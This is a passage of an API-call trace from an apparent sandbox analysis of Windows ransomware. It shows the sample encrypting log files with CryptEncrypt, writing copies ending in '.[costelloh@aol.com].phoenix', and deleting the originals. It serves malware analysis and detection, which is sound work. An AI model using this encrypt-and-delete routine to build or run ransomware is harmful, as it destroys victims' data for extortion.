	[0249.864] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1010, lpOverlapped=0x0) returned 1
	[0249.865] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151140) returned 1
	[0249.865] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0249.865] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0249.865] CryptDestroyKey (hKey=0x151140) returned 1
	[0249.865] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x162, lpOverlapped=0x0) returned 1
	[0249.866] CryptDestroyKey (hKey=0x151100) returned 1
	[0249.866] CloseHandle (hObject=0x2c4) returned 1
	[0249.866] CloseHandle (hObject=0x2b0) returned 1
	[0249.866] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0249.867] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0249.867] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-234117-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-234117-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0249.868] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4096) returned 1
	[0249.868] CloseHandle (hObject=0x2b0) returned 1
	[0249.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-234117-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-234117-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2000
	[0249.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-234117-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-234117-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.868] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-234117-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-234117-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0249.868] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0249.868] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0249.868] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-234117-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-234117-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.869] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151080) returned 1
	[0249.869] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0249.869] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1000, lpOverlapped=0x0) returned 1
	[0249.875] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1010, dwBufLen=0x1010 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1010) returned 1
	[0249.875] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1010, lpOverlapped=0x0) returned 1
	[0249.877] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1514c0) returned 1
	[0249.877] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0249.877] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0249.877] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0249.877] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x162, lpOverlapped=0x0) returned 1
	[0249.877] CryptDestroyKey (hKey=0x151080) returned 1
	[0249.877] CloseHandle (hObject=0x2b0) returned 1
	[0249.877] CloseHandle (hObject=0x2c4) returned 1
	[0249.877] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-234117-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-234117-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0249.878] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0249.878] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-05042019-213714-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-05042019-213714-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.878] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4096) returned 1
	[0249.878] CloseHandle (hObject=0x2c4) returned 1
	[0249.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-05042019-213714-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-05042019-213714-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2000
	[0249.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-05042019-213714-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-05042019-213714-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.879] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-05042019-213714-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-05042019-213714-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.879] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0249.879] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0249.892] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4096) returned 1
	[0249.892] CloseHandle (hObject=0x2e8) returned 1
	[0249.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0249.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.893] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0249.893] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0249.893] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0249.893] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.896] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151440) returned 1
	[0249.896] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0249.896] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1000, lpOverlapped=0x0) returned 1
	[0249.899] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1010, dwBufLen=0x1010 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1010) returned 1
	[0249.899] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1010, lpOverlapped=0x0) returned 1
	[0249.901] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0249.901] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0249.901] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0249.901] CryptDestroyKey (hKey=0x151640) returned 1
	[0249.901] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x162, lpOverlapped=0x0) returned 1
	[0249.901] CryptDestroyKey (hKey=0x151440) returned 1
	[0249.901] CloseHandle (hObject=0x2e8) returned 1
	[0249.901] CloseHandle (hObject=0x2c4) returned 1
	[0249.901] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0249.902] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0249.902] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.903] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8192) returned 1
	[0249.903] CloseHandle (hObject=0x2c4) returned 1
	[0249.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0249.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.903] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.903] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0249.903] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0249.903] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0249.903] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151240) returned 1
	[0249.903] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0249.904] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x2000, lpOverlapped=0x0) returned 1
	[0249.962] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2010, dwBufLen=0x2010 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2010) returned 1
	[0249.962] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2010, lpOverlapped=0x0) returned 1
	[0249.963] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1512c0) returned 1
	[0249.963] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0249.963] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0249.963] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0249.963] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x162, lpOverlapped=0x0) returned 1
	[0249.963] CryptDestroyKey (hKey=0x151240) returned 1
	[0249.963] CloseHandle (hObject=0x2c4) returned 1
	[0249.963] CloseHandle (hObject=0x2e8) returned 1
	[0249.963] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0249.964] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0249.964] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0249.977] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8192) returned 1
	[0249.977] CloseHandle (hObject=0x2e8) returned 1
	[0249.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0249.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.977] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0249.977] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0249.977] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0249.977] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.978] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151100) returned 1
	[0249.978] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0249.978] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x2000, lpOverlapped=0x0) returned 1
	[0249.980] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2010, dwBufLen=0x2010 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2010) returned 1
	[0249.980] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2010, lpOverlapped=0x0) returned 1
	[0249.981] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151700) returned 1
	[0249.981] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0249.981] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0249.981] CryptDestroyKey (hKey=0x151700) returned 1
	[0249.981] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x162, lpOverlapped=0x0) returned 1
	[0249.981] CryptDestroyKey (hKey=0x151100) returned 1
	[0249.981] CloseHandle (hObject=0x2e8) returned 1
	[0249.981] CloseHandle (hObject=0x2c4) returned 1
	[0249.981] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0249.982] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0249.982] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.991] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8192) returned 1
	[0249.991] CloseHandle (hObject=0x2c4) returned 1
	[0249.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
